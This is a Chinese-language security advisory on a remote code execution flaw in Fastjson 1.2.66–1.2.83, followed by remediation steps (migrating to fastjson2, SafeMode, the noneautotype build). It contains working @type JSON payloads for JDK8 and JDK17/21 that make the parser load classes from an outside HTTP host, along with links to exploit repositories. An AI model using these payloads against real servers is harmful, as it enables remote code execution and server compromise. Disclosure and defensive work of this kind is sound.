文章

Fastjson <= 1.2.83 任意代码执行

漏洞描述

近期监测到 Fastjson 1.x组件存在 @JSONType 远程类加载 RCE 风险。攻击者在特定条件下可通过构造恶意 JSON 数据,触发Fastison 在解析 @type 类型信息时加载远程类资源,最终可能造成服务器远程代码执行。该风险利用条件与组件Fastison 版本、Spring Boot启动加载方式、JDK版本、网络出站能力等因素相关一旦漏洞被成功利用,攻击者可能获得服务器命令执行能力,进一步造成系统被控、数据泄露、内网横向移动、凭据窃取等严重后果。

影响范围确认到 1.2.66—1.2.83

漏洞利用


JDK8 短链使用:

```json
{"@type":"http:..3232252414:19090.a"}
```

转换后:

```text
http://192.168.65.254:19090/a.class
```

JDK17/21 FD 链使用:

```json
[
  {"@type":"jar:http:..3232252414:19090.probe!.foo.Exception"},
  {"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"},
  {"@type":"jar:file:.proc.self.fd.4!.fd4.Exception"}
]
```

转换后:

```text
jar:http://192.168.65.254:19090/probe!/foo/Exception.class
jar:file:/proc/self/fd/N!/fdN/Exception.class
```

修复方案

Fastjson 1.x 已停止维护多年,请参照以下方案处置:

方案一:迁移至 Fastjson 2.x(推荐)
升级到 2.x 版本以获取更好的性能与安全性。升级前请参照兼容性评估文档做好适配验证:
仓库地址:https://github.com/alibaba/fastjson2
升级指南:https://github.com/alibaba/fastjson2/blob/f68fd88fa63575b8b2956c8c5458be718023974d/docs/fastjson_1_upgrade_cn.md


方案二:启用 SafeMode
需要继续使用 Fastjson 1.x 的用户,可通过开启 SafeMode 完全禁用 AutoType 功能(以下三种方式任选其一):
代码方式:ParserConfig.getGlobalInstance().setSafeMode(true); JVM 启动参数:-Dfastjson.parser.safeMode=true 配置文件:fastjson.parser.safeMode=true 官方文档:https://github.com/alibaba/fastjson/wiki/fastjson_safemode

方案三:使用 noneautotype 版本
将 Fastjson 1.x 替换为对应的 noneautotype 版本(如 Maven 坐标:com.alibaba:fastjson:1.2.83_noneautotype)。该版本在编译时完全移除了 AutoType 相关能力,不再支持自动加载类,从根源上避免反序列化漏洞。
参考文档:https://github.com/alibaba/fastjson/wiki/security_update_20220523#34-noneautotype%E7%89%88%E6%9C%AC

【备注】:升级或切换组件前请做好充分的兼容性验证与数据备份。

参考

https://github.com/midisec/fastjson-1.2.83-gadget-rce

https://github.com/dinosn/fastjson-jsontype-rce-lab

https://mp.weixin.qq.com/s/FLBqa1mNwQJRlI1evuzifw

https://avd.aliyun.com/detail?spm=5176.14126787.waf.11.4420DpKDDpKD6n&id=AVD-2026-1896768